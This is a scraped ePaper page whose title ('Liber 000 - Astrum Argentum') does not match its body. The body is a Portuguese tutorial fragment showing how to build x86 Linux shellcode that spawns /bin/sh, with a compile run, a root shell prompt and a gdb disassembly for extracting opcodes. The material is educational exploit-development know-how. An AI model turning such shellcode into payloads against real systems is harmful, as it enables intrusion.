01.01.2013 Views

Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

oot@motdlabs:~/IP_FIX/shellcode# gcc -o asmsh asmsh.c<br />

root@motdlabs:~/IP_FIX/shellcode# ./asmsh<br />

sh-2.05b#<br />

w00w00!!! Nada de jmp, call, pop, inc, etc... apenas instruções simples<br />

que vimos no exemplo de write().<br />

Mas não terminamos, temos que pegar os opcodes para montarmos<br />

ele em hexadecimal.:<br />

root@motdlabs:~/IP_FIX/shellcode# gdb asmsh<br />

GNU gdb 5.3<br />

Copyright 2002 Free Software Foundation, Inc.<br />

GDB is free software, covered by the GNU General Public License, and<br />

you are welcome to change it and/or distribute copies of it under<br />

certain conditions.<br />

Type "show copying" to see the conditions.<br />

There is absolutely no warranty for GDB. Type "show warranty" for<br />

details.<br />

This GDB was configured as "i386-slackware-linux"...<br />

(gdb) disas main<br />

Dump of assembler code for function main:<br />

0x8048314 : push %ebp<br />

0x8048315 : mov %esp,%ebp<br />

0x8048317 : sub $0x8,%esp<br />

0x804831a : and $0xfffffff0,%esp<br />

0x804831d : mov $0x0,%eax<br />

0x8048322 : sub %eax,%esp<br />

0x8048324 : xor %eax,%eax<br />

0x8048326 : push $0x68732f2f<br />

0x804832b : push $0x6e69622f<br />

0x8048330 : mov %esp,%ebx<br />

0x8048332 : push %eax<br />

0x8048333 : push %ebx<br />

0x8048334 : mov %esp,%ecx<br />

0x8048336 : xor %edx,%edx<br />

0x8048338 : mov $0xb,%al<br />

0x804833a : int $0x80<br />

0x804833c : xor %eax,%eax<br />

0x804833e : xor %ebx,%ebx<br />

0x8048340 : mov $0x1,%al<br />

0x8048342 : int $0x80<br />

0x8048344 : leave<br />

0x8048345 : ret<br />

0x8048346 : nop<br />

0x8048347 : nop<br />

0x8048348 : nop<br />

0x8048349 : nop<br />

0x804834a : nop<br />

0x804834b : nop<br />

0x804834c : nop<br />

0x804834d : nop<br />

0x804834e : nop<br />

0x804834f : nop<br />

End of assembler dump.<br />

(gdb) x/xb main+16<br />

77

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!